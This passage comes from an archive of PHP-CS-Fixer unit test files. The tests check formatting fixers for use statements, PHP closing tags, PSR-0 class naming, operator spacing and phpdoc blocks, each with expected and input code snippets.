    }

    public function provideCases()
    {
        return array(
            array(
                '<?php
use D;
use E;
use DP;   /**/
use EZ; //
use DAZ;
use EGGGG; /**/
use A\B;

use C\DE;


use E\F;



use G\H;

',
                '<?php
use D;         use E;
use DP;   /**/      use EZ; //
use DAZ;         use EGGGG; /**/
use A\B;

use C\DE;


use E\F;



use G\H;
',
            ),
            array(
                '<?php use \Exception;

?>
<?php
$a = new Exception();
',
                '<?php use \Exception?>
<?php
$a = new Exception();
',
            ),
            array(
                '<?php use \stdClass;
use \DateTime;

?>
<?php
$a = new DateTime();
',
                '<?php use \stdClass; use \DateTime?>
<?php
$a = new DateTime();
', ),
            array(
                '<?php namespace Foo;
              '.'
use Bar\Baz;

/**
 * Foo.
 */',
                '<?php namespace Foo;
              '.'
use Bar\Baz;
/**
 * Foo.
 */',
            ),
            array(
                '<?php
namespace A\B;

use D;

class C {}
',
                '<?php
namespace A\B;

use D;
class C {}
',
            ),
            array(
                '<?php
    namespace A\B;

    use D;

    class C {}
',
                '<?php
    namespace A\B;

    use D;
    class C {}
',
            ),
            array(
                '<?php
namespace A\B;

use D;
use E;

class C {}
',
                '<?php
namespace A\B;

use D;
use E;
class C {}
',
            ),
            array(
                '<?php
namespace A\B;

use D;

class C {}
',
                '<?php
namespace A\B;

use D; class C {}
',
            ),
            array(
                '<?php
namespace A\B;
use D;
use E;

{
    class C {}
}',
                '<?php
namespace A\B;
use D; use E; {
    class C {}
}',
            ),
            array(
                '<?php
namespace A\B;
use D;
use E;

{
    class C {}
}',
                '<?php
namespace A\B;
use D;
use E; {
    class C {}
}',
            ),
            array(
                '<?php
namespace A\B {
    use D;
    use E;

    class C {}
}',
                '<?php
namespace A\B {
    use D; use E; class C {}
}',
            ),
            array(
                '<?php
namespace A\B;
class C {
    use SomeTrait;
}',
            ),
            array(
                '<?php
$lambda = function () use (
    $arg
){
    return true;
};',
            ),
            array(
                '<?php
namespace A\B;
use D, E;

class C {

}',
                '<?php
namespace A\B;
use D, E;
class C {

}',
            ),
            array(
                '<?php
    namespace A1;
    use B1; // need to import this !
    use B2;

    class C1 {}
',
            ),
            array(
                '<?php
    namespace A1;
    use B1;// need to import this !
    use B2;

    class C1 {}
',
            ),
            array(
                '<?php
namespace A1;
use B1; // need to import this !
use B2;

class C1 {}
',
            ),
            array(
                '<?php
namespace A1;
use B1;// need to import this !
use B2;

class C1 {}
',
            ),
            array(
                '<?php
namespace A1;
use B1; /** need to import this !*/
use B2;

class C1 {}
',
            ),
            array(
                '<?php
namespace A1;
use B1;// need to import this !
use B2;

class C1 {}
',
            ),
            array(
                '<?php
namespace Foo;

use Bar;
use Baz;

class Hello {}
',
                '<?php
namespace Foo;

use Bar;
use Baz;


class Hello {}
',
            ),
            array(
                '<?php
class Hello {
    use SomeTrait;

    use Another;// ensure use statements for traits are not touched
}
',
            ),
            array(
                '<?php
namespace Foo {}
namespace Bar {
    class Baz
    {
        use Aaa;
    }
}
',
            ),
            array(
                '<?php use A\B;

?>',
                '<?php use A\B?>',
            ),
            array(
                '<?php use A\B;

',
                '<?php use A\B;',
            ),
        );
    }

    /**
     * @dataProvider provide70Cases
     * @requires PHP 7.0
     */
    public function test70($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provide70Cases()
    {
        return array(
            array(
                '<?php
use some\test\{ClassA, ClassB, ClassC as C};

?>
test 123
',
                '<?php
use some\test\{ClassA, ClassB, ClassC as C}         ?>
test 123
',
            ),
            array(
                '<?php
use some\test\{CA, Cl, ClassC as C};

class Test {}
',
                '<?php
use some\test\{CA, Cl, ClassC as C};
class Test {}
',
            ),
            array(
                '<?php
use function some\test\{fn_g, fn_f, fn_e};

fn_a();',
                '<?php
use function some\test\{fn_g, fn_f, fn_e};
fn_a();',
            ),
            array(
                '<?php
use const some\test\{ConstA, ConstB, ConstD};

',
                '<?php
use const some\test\{ConstA, ConstB, ConstD};
',
            ),
            array(
                '<?php
namespace Z\B;
use const some\test\{ConstA, ConstB, ConstC};
use A\B\C;

',
                '<?php
namespace Z\B;
use const some\test\{ConstA, ConstB, ConstC};
use A\B\C;
',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/PSR2/PhpClosingTagFixerTest.php000066600000004737151456236460021033 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\PSR2;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

class PhpClosingTagFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCasesWithFullOpenTag
     */
    public function testCasesWithFullOpenTag($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    /**
     * @dataProvider provideCasesWithShortOpenTag
     */
    public function testCasesWithShortOpenTag($expected, $input = null)
    {
        if (!ini_get('short_open_tag')) {
            $this->markTestSkipped('PHP short open tags are not enabled.');

            return;
        }

        $this->makeTest($expected, $input);
    }

    public function provideCasesWithFullOpenTag()
    {
        return array(
            array('<?php echo \'Foo\';', '<?php echo \'Foo\'; ?>'),
            array('<?php echo \'Foo\';', '<?php echo \'Foo\';?>'),
            array('<?php echo \'Foo\'; ?> PLAIN TEXT'),
            array('PLAIN TEXT<?php echo \'Foo\'; ?>'),
            array('<?php

echo \'Foo\';',
                  '<?php

echo \'Foo\';

?>',
            ),
            array('<?php echo \'Foo\'; ?>
<p><?php echo \'this is a template\'; ?></p>
<?php echo \'Foo\'; ?>',
            ),
            array('<?php echo "foo";', '<?php echo "foo" ?>'),
            array(
                '<?php
class foo
{
    public function bar()
    {
        echo "Here I am!";
    }
}',
                '<?php
class foo
{
    public function bar()
    {
        echo "Here I am!";
    }
}?>',
            ),
            array(
                '<?php
function bar()
{
    echo "Here I am!";
}',
                '<?php
function bar()
{
    echo "Here I am!";
}?>',
            ),
            array(
                '<?php
if (true) {
    echo "Here I am!";
}',
                '<?php
if (true) {
    echo "Here I am!";
}?>',
            ),
        );
    }

    public function provideCasesWithShortOpenTag()
    {
        return array(
            array('<? echo \'Foo\';', '<? echo \'Foo\'; ?>'),
            array('<? echo \'Foo\';', '<? echo \'Foo\';?>'),
            array('<? echo \'Foo\'; ?>
<p><? echo \'this is a template\'; ?></p>
<? echo \'Foo\'; ?>',
            ),
            array('<?= "somestring"; ?> <?= "anotherstring"; ?>'),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/PSR0/Psr0FixerTest.php000066600000013163151456236460017144 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\PSR0;

use Symfony\CS\Config\Config;
use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

class Psr0FixerTest extends AbstractFixerTestBase
{
    public function testFixCase()
    {
        $file = $this->getTestFile(__DIR__.'/../../../Fixer/PSR0/Psr0Fixer.php');

        $expected = <<<'EOF'
<?php
namespace Symfony\CS\Fixer\PSR0;
class Psr0Fixer {}
EOF;
        $input = <<<'EOF'
<?php
namespace Symfony\cs\Fixer\PSR0;
class psr0Fixer {}
EOF;

        $this->makeTest($expected, $input, $file);

        $expected = <<<'EOF'
<?php
class Symfony_CS_Fixer_PSR0_Psr0Fixer {}
EOF;
        $input = <<<'EOF'
<?php
class symfony_cs_FiXER_PSR0_Psr0FIXer {}
EOF;

        $this->makeTest($expected, $input, $file);
    }

    public function testFixClassName()
    {
        $file = $this->getTestFile(__DIR__.'/../../../Fixer/PSR0/Psr0Fixer.php');

        $expected = <<<'EOF'
<?php
namespace Symfony\CS\Fixer\PSR0;
class Psr0Fixer {}
/* class foo */
EOF;
        $input = <<<'EOF'
<?php
namespace Symfony\CS\Fixer\PSR0;
class blah {}
/* class foo */
EOF;

        $this->makeTest($expected, $input, $file);
    }

    public function testFixAbstractClassName()
    {
        $file = $this->getTestFile(__DIR__.'/../../../Fixer/PSR0/Psr0Fixer.php');

        $expected = <<<'EOF'
<?php
namespace Symfony\CS\Fixer\PSR0;
abstract class Psr0Fixer {}
/* class foo */
EOF;
        $input = <<<'EOF'
<?php
namespace Symfony\CS\Fixer\PSR0;
abstract class blah {}
/* class foo */
EOF;

        $this->makeTest($expected, $input, $file);
    }

    public function testFixFinalClassName()
    {
        $file = $this->getTestFile(__DIR__.'/../../../Fixer/PSR0/Psr0Fixer.php');

        $expected = <<<'EOF'
<?php
namespace Symfony\CS\Fixer\PSR0;
final class Psr0Fixer {}
/* class foo */
EOF;
        $input = <<<'EOF'
<?php
namespace Symfony\CS\Fixer\PSR0;
final class blah {}
/* class foo */
EOF;

        $this->makeTest($expected, $input, $file);
    }

    public function testFixClassNameWithComment()
    {
        $file = $this->getTestFile(__DIR__.'/../../../Fixer/PSR0/Psr0Fixer.php');

        $expected = <<<'EOF'
<?php
namespace /* namespace here */ Symfony\CS\Fixer\PSR0;
class /* hi there */ Psr0Fixer /* why hello */ {}
/* class foo */
EOF;
        $input = <<<'EOF'
<?php
namespace /* namespace here */ Symfony\CS\Fixer\PSR0;
class /* hi there */ blah /* why hello */ {}
/* class foo */
EOF;

        $this->makeTest($expected, $input, $file);
    }

    public function testHandlePartialNamespaces()
    {
        $fixer = $this->getFixer();
        $config = new Config();
        $config->setDir(__DIR__.'/../../../');
        $fixer->setConfig($config);

        $file = $this->getTestFile(__DIR__.'/../../../Fixer/PSR0/Psr0Fixer.php');

        $expected = <<<'EOF'
<?php
namespace Foo\Bar\Baz\Fixer\PSR0;
class Psr0Fixer {}
EOF;
        $input = <<<'EOF'
<?php
namespace Foo\Bar\Baz\FIXER\PSR0;
class Psr0Fixer {}
EOF;

        $this->assertSame($expected, $fixer->fix($file, $input));

        $expected = <<<'EOF'
<?php
namespace /* hi there */ Foo\Bar\Baz\Fixer\PSR0;
class /* hi there */ Psr0Fixer {}
EOF;
        $input = <<<'EOF'
<?php
namespace /* hi there */ Foo\Bar\Baz\FIXER\PSR0;
class /* hi there */ Psr0Fixer {}
EOF;

        $this->assertSame($expected, $fixer->fix($file, $input));

        $config->setDir(__DIR__.'/../../../Fixer/PSR0');
        $expected = <<<'EOF'
<?php
namespace Foo\Bar\Baz;
class Psr0Fixer {}
EOF;
        $input = <<<'EOF'
<?php
namespace Foo\Bar\Baz;
class Psr0Fixer {}
EOF;

        $this->assertSame($expected, $fixer->fix($file, $input));
    }

    /**
     * @dataProvider provideIgnoredCases
     */
    public function testIgnoreWrongNames($filename)
    {
        $file = $this->getTestFile($filename);

        $expected = <<<'EOF'
<?php
namespace Aaa;
class Bar {}
EOF;

        $this->makeTest($expected, null, $file);
    }

    public function provideIgnoredCases()
    {
        $ignoreCases = array(
            array('.php'),
            array('Foo.class.php'),
            array('4Foo.php'),
            array('$#.php'),
        );

        foreach (array('__halt_compiler', 'abstract', 'and', 'array', 'as', 'break', 'case', 'catch', 'class', 'clone', 'const', 'continue', 'declare', 'default', 'die', 'do', 'echo', 'else', 'elseif', 'empty', 'enddeclare', 'endfor', 'endforeach', 'endif', 'endswitch', 'endwhile', 'eval', 'exit', 'extends', 'final', 'for', 'foreach', 'function', 'global', 'goto', 'if', 'implements', 'include', 'include_once', 'instanceof', 'interface', 'isset', 'list', 'namespace', 'new', 'or', 'print', 'private', 'protected', 'public', 'require', 'require_once', 'return', 'static', 'switch', 'throw', 'try', 'unset', 'use', 'var', 'while', 'xor') as $keyword) {
            $ignoreCases[] = array($keyword.'.php');
        }

        foreach (array('__CLASS__', '__DIR__', '__FILE__', '__FUNCTION__', '__LINE__', '__METHOD__', '__NAMESPACE__') as $magicConstant) {
            $ignoreCases[] = array($magicConstant.'.php');
            $ignoreCases[] = array(strtolower($magicConstant).'.php');
        }

        if (PHP_VERSION_ID >= 50400) {
            $ignoreCases[] = array('callable.php');
            $ignoreCases[] = array('trait.php');
            $ignoreCases[] = array('__TRAIT__.php');
            $ignoreCases[] = array('insteadof.php');
        }

        if (PHP_VERSION_ID >= 50500) {
            $ignoreCases[] = array('finally.php');
        }

        return $ignoreCases;
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/NoEmptyLinesAfterPhpdocsFixerTest.php000066600000012004151456236460024122 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class NoEmptyLinesAfterPhpdocsFixerTest extends AbstractFixerTestBase
{
    public function testSimpleExampleIsNotChanged()
    {
        $input = <<<'EOF'
<?php

/**
 * This is the bar class.
 */
class Bar
{
    /**
     * @return void
     */
    public function foo()
    {
        //
    }
}

EOF;

        $this->makeTest($input);
    }

    public function testComplexExampleIsNotChanged()
    {
        $input = <<<'EOF'
<?php
/**
 * This is the hello function.
 * Yeh, this layout should be allowed.
 * We're fixing lines following a docblock.
 */
function hello($foo) {}
/**
 * This is the bar class.
 */
final class Bar
{
    /**
     * @return void
     */
    public static function foo()
    {
        //
    }

    /**
     * @return void
     */
    static private function bar123() {}

    /*
     * This T_COMMENT should not be moved
     *
     * Only T_DOC_COMMENT should be moved
     */
    final protected
    // mixin' it up a bit
    function baz() {
    }


    /*
     * This T_COMMENT should not be moved
     *
     * Only T_DOC_COMMENT should be moved
     */

    public function cool() {}

    /**
     * This is the first docblock
     *
     * Not removing blank line here.
     * No element is being documented
     */

    /**
     * Another docblock
     */
    public function silly() {}
}

EOF;

        $this->makeTest($input);
    }

    public function testCommentsAreNotChanged()
    {
        $input = <<<'EOF'
<?php

/*
 * This file is part of xyz.
 *
 * License etc...
 */

namespace Foo\Bar;

EOF;

        $this->makeTest($input);
    }

    public function testFixesSimpleClass()
    {
        $expected = <<<'EOF'
<?php

/**
 * This is the bar class.
 */
class Bar {}

EOF;

        $input = <<<'EOF'
<?php

/**
 * This is the bar class.
 */


class Bar {}

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixesIndentedClass()
    {
        $expected = <<<'EOF'
<?php

    /**
     *
     */
    class Foo {
        private $a;
    }

EOF;

        $input = <<<'EOF'
<?php

    /**
     *
     */

    class Foo {
        private $a;
    }

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixesOthers()
    {
        $expected = <<<'EOF'
<?php

    /**
     * Constant!
     */
    const test = 'constant';

    /**
     * Foo!
     */
    $foo = 123;

EOF;

        $input = <<<'EOF'
<?php

    /**
     * Constant!
     */


    const test = 'constant';

    /**
     * Foo!
     */

    $foo = 123;

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixesWindowsStyle()
    {
        $expected = "<?php\r\n    /**     * Constant!     */\n    \$foo = 123;";

        $input = "<?php\r\n    /**     * Constant!     */\r\n\r\n\r\n    \$foo = 123;";

        $this->makeTest($expected, $input);
    }

    /**
     * Empty line between typehinting docs and return statement should be preserved.
     *
     * @dataProvider provideInlineTypehintingDocsBeforeFlowBreakCases
     */
    public function testInlineTypehintingDocsBeforeFlowBreak($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideInlineTypehintingDocsBeforeFlowBreakCases()
    {
        $cases = array();

        $cases[] = array(<<<'EOF'
<?php
function parseTag($tag)
{
    $tagClass = get_class($tag);

    if ('phpDocumentor\Reflection\DocBlock\Tag\VarTag' === $tagClass) {
        /** @var DocBlock\Tag\VarTag $tag */

        return $tag->getDescription();
    }
}
EOF
        );

        $cases[] = array(<<<'EOF'
<?php
function parseTag($tag)
{
    $tagClass = get_class($tag);

    if ('phpDocumentor\Reflection\DocBlock\Tag\VarTag' === $tagClass) {
        /** @var DocBlock\Tag\VarTag $tag */

        throw new Exception($tag->getDescription());
    }
}
EOF
        );

        $cases[] = array(<<<'EOF'
<?php
function parseTag($tag)
{
    $tagClass = get_class($tag);

    if ('phpDocumentor\Reflection\DocBlock\Tag\VarTag' === $tagClass) {
        /** @var DocBlock\Tag\VarTag $tag */

        goto FOO;
    }

FOO:
}
EOF
        );

        $cases[] = array(<<<'EOF'
<?php
function parseTag($tag)
{
    while (true) {
        $tagClass = get_class($tag);

        if ('phpDocumentor\Reflection\DocBlock\Tag\VarTag' === $tagClass) {
            /** @var DocBlock\Tag\VarTag $tag */

            continue;
        }
    }
}
EOF
        );

        $cases[] = array(<<<'EOF'
<?php
function parseTag($tag)
{
    while (true) {
        $tagClass = get_class($tag);

        if ('phpDocumentor\Reflection\DocBlock\Tag\VarTag' === $tagClass) {
            /** @var DocBlock\Tag\VarTag $tag */

            break;
        }
    }
}
EOF
        );

        return $cases;
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/RemoveLeadingSlashUseFixerTest.php000066600000007100151456236460023423 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Carlos Cirello <carlos.cirello.nl@gmail.com>
 */
class RemoveLeadingSlashUseFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideFixCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideFixCases()
    {
        return array(
            array(
                '<?php
                use \A\B;
                ',
            ),
            array(
                '<?php
                trait SomeTrait {
                    use \A;
                }
                ',
            ),
            array(
                '<?php
                $a = function(\B\C $a) use ($b){

                };
                ',
            ),
            array(
                '<?php
                namespace NS;
                use A\B;
                ',
                '<?php
                namespace NS;
                use \A\B;
                ',
            ),
            array(
                '<?php
                namespace NS{
                    use A\B;
                }
                namespace NS2{
                    use C\D;
                }
                ',
                '<?php
                namespace NS{
                    use \A\B;
                }
                namespace NS2{
                    use \C\D;
                }
                ',
            ),
            array(
                '<?php
                namespace NS{
                    use A\B;
                    trait Tr8A{
                        use \B, \C;
                    }
                }
                namespace NS2{
                    use C\D;
                }
                ',
                '<?php
                namespace NS{
                    use \A\B;
                    trait Tr8A{
                        use \B, \C;
                    }
                }
                namespace NS2{
                    use \C\D;
                }
                ',
            ),
            array(
                '<?php
                trait Foo {}
                class Bar {
                    use \Foo;
                }
                ',
            ),
            array(
                '<?php
                use \C;
                use \C\X;

                namespace Foo {
                    use A;
                    use A\X;

                    new X();
                }

                namespace Bar {
                    use B;
                    use B\X;

                    new X();
                }
                ',
                '<?php
                use \C;
                use \C\X;

                namespace Foo {
                    use \A;
                    use \A\X;

                    new X();
                }

                namespace Bar {
                    use \B;
                    use \B\X;

                    new X();
                }
                ',
            ),
            array(
                '<?php
                namespace Foo\Bar;
                use Baz;
                class Foo implements Baz {}
                ',
                '<?php
                namespace Foo\Bar;
                use \Baz;
                class Foo implements Baz {}
                ',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/OperatorsSpacesFixerTest.php000066600000007521151456236460022356 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 * @author Gregor Harlan <gharlan@web.de>
 */
class OperatorsSpacesFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                '<?php $a + $b;',
                '<?php $a+$b;',
            ),
            array(
                '<?php 1 + $b;',
                '<?php 1+$b;',
            ),
            array(
                '<?php 0.2 + $b;',
                '<?php 0.2+$b;',
            ),
            array(
                '<?php $a[1] + $b;',
                '<?php $a[1]+$b;',
            ),
            array(
                '<?php FOO + $b;',
                '<?php FOO+$b;',
            ),
            array(
                '<?php foo() + $b;',
                '<?php foo()+$b;',
            ),
            array(
                '<?php ${"foo"} + $b;',
                '<?php ${"foo"}+$b;',
            ),
            array(
                '<?php $a & $b;',
                '<?php $a&$b;',
            ),
            array(
                '<?php $a &= $b;',
                '<?php $a&=$b;',
            ),
            array(
                '<?php $a &= $b;',
                '<?php $a &=$b;',
            ),
            array(
                '<?php $a &= $b;',
                '<?php $a&= $b;',
            ),
            array(
                '<?php $a &= $b;',
            ),
            array(
                '<?php $a  &=   $b;',
            ),
            array(
                '<?php $a &=
$b;',
            ),

            array(
                '<?php $a
&= $b;',
                '<?php $a
&=$b;',
            ),
            array(
                '<?php (1) and 2;',
                '<?php (1)and 2;',
            ),
            array(
                '<?php 1 or ($b - $c);',
                '<?php 1 or($b-$c);',
            ),
            array(
                '<?php "a" xor (2);',
                '<?php "a"xor(2);',
            ),
            array(
                '<?php $a = array("b" => "c", );',
                '<?php $a = array("b"=>"c", );',
            ),

            array(
                '<?php $a * -$b;',
                '<?php $a*-$b;',
            ),
            array(
                '<?php $a = -2 / +5;',
                '<?php $a=-2/+5;',
            ),
            array(
                '<?php $a = &$b;',
                '<?php $a=&$b;',
            ),
            array(
                '<?php $a++ + $b;',
                '<?php $a+++$b;',
            ),
            array(
                '<?php __LINE__ - 1;',
                '<?php __LINE__-1;',
            ),
            array(
                '<?php `echo 1` + 1;',
                '<?php `echo 1`+1;',
            ),
            array(
                '<?php function foo(&$a, array &$b, Bar &$c) {}',
            ),
            array(
                '<?php declare(ticks=1);',
            ),
            array(
                '<?php declare(ticks =  1);',
            ),
        );
    }

    /**
     * @dataProvider provideCases54
     * @requires PHP 5.4
     */
    public function testFix54($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases54()
    {
        return array(
            array(
                '<?php [1, 2] + [3, 4];',
                '<?php [1, 2]+[3, 4];',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/PhpdocTrimFixerTest.php000066600000005127151456236460021312 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class PhpdocTrimFixerTest extends AbstractFixerTestBase
{
    public function testFix()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @param EngineInterface $templating
     *
     * @return void
     */

EOF;

        $this->makeTest($expected);
    }

    public function testFixMore()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Hello there!
     * @internal
     *@param string $foo
     *@throws Exception
     *
    *
     *
     *  @return bool
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     *
  *
     * Hello there!
     * @internal
     *@param string $foo
     *@throws Exception
     *
    *
     *
     *  @return bool
     *
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testClassDocBlock()
    {
        $expected = <<<'EOF'
<?php

namespace Foo;

  /**
 * This is a class that does classy things.
 *
 * @internal
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 * @author Graham Campbell <graham@mineuk.com>
   */
class Bar {}

EOF;

        $input = <<<'EOF'
<?php

namespace Foo;

  /**
   *
 *
 * This is a class that does classy things.
 *
 * @internal
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 * @author Graham Campbell <graham@mineuk.com>
 *
    *
  *
   */
class Bar {}

EOF;

        $this->makeTest($expected, $input);
    }

    public function testEmptyDocBlock()
    {
        $expected = <<<'EOF'
<?php
    /**
     *
     */

EOF;

        $this->makeTest($expected);
    }

    public function testEmptyLargerEmptyDocBlock()
    {
        $expected = <<<'EOF'
<?php
    /**
     *
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     *
     *
     *
     *
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testSuperSimpleDocBlockStart()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Test.
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     *
     * Test.
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testSuperSimpleDocBlockEnd()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Test.
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * Test.
     *
     */

EOF;

        $this->makeTest($expected, $input);
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/PhpdocTypeToVarFixerTest.php000066600000003255151456236460022274 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Graham Campbell <graham@mineuk.com>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class PhpdocTypeToVarFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                '<?php
    /**
     *
     */',
            ),
            array(
                '<?php
    /**
     * @var string Hello!
     */',
                '<?php
    /**
     * @type string Hello!
     */',
            ),
            array(
                '<?php /** @var string Hello! */',
                '<?php /** @type string Hello! */',
            ),
            array(
                '<?php
    /**
     * Initializes this class with the given options.
     *
     * @param array $options {
     *     @var bool   $required Whether this element is required
     *     @var string $label    The display name for this element
     * }
     */',
                '<?php
    /**
     * Initializes this class with the given options.
     *
     * @param array $options {
     *     @type bool   $required Whether this element is required
     *     @type string $label    The display name for this element
     * }
     */',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/PhpdocParamsFixerTest.php000066600000020360151456236460021616 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

class PhpdocParamsFixerTest extends AbstractFixerTestBase
{
    public function testFix()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @param EngineInterface $templating
     * @param string          $format
     * @param int             $code       An HTTP response status code
     * @param bool            $debug
     * @param mixed           &$reference A parameter passed by reference
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @param  EngineInterface $templating
     * @param string      $format
     * @param  int  $code       An HTTP response status code
     * @param    bool         $debug
     * @param  mixed    &$reference     A parameter passed by reference
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixMultiLineDesc()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @param EngineInterface $templating
     * @param string          $format
     * @param int             $code       An HTTP response status code
     *                                    See constants
     * @param bool            $debug
     * @param bool            $debug      See constants
     *                                    See constants
     * @param mixed           &$reference A parameter passed by reference
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @param  EngineInterface $templating
     * @param string      $format
     * @param  int  $code       An HTTP response status code
     *                              See constants
     * @param    bool         $debug
     * @param    bool         $debug See constants
     * See constants
     * @param  mixed    &$reference     A parameter passed by reference
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixMultiLineDescWithThrows()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @param EngineInterface $templating
     * @param string          $format
     * @param int             $code       An HTTP response status code
     *                                    See constants
     * @param bool            $debug
     * @param bool            $debug      See constants
     *                                    See constants
     * @param mixed           &$reference A parameter passed by reference
     *
     * @return Foo description foo
     *
     * @throws Foo description foo
     *             description foo
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @param  EngineInterface $templating
     * @param string      $format
     * @param  int  $code       An HTTP response status code
     *                              See constants
     * @param    bool         $debug
     * @param    bool         $debug See constants
     * See constants
     * @param  mixed    &$reference     A parameter passed by reference
     *
     * @return Foo description foo
     *
     * @throws Foo             description foo
     * description foo
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixWithReturnAndThrows()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @param  EngineInterface $templating
     * @param  mixed           &$reference A parameter passed by reference
     * @throws Bar             description bar
     * @return Foo             description foo
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @param EngineInterface       $templating
     * @param  mixed    &$reference     A parameter passed by reference
     * @throws   Bar description bar
     * @return  Foo     description foo
     */

EOF;

        $this->makeTest($expected, $input);
    }

    /**
     * References the issue #55 on github issue
     * https://github.com/FriendsOfPhp/PHP-CS-Fixer/issues/55.
     */
    public function testFixThreeParamsWithReturn()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @param  string $param1
     * @param  bool   $param2 lorem ipsum
     * @param  string $param3 lorem ipsum
     * @return int    lorem ipsum
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @param   string $param1
     * @param bool   $param2 lorem ipsum
     * @param    string $param3 lorem ipsum
     * @return int lorem ipsum
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixOnlyReturn()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @return Foo description foo
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @return   Foo             description foo
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testReturnWithDollarThis()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @param  Foo   $foo
     * @return $this
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
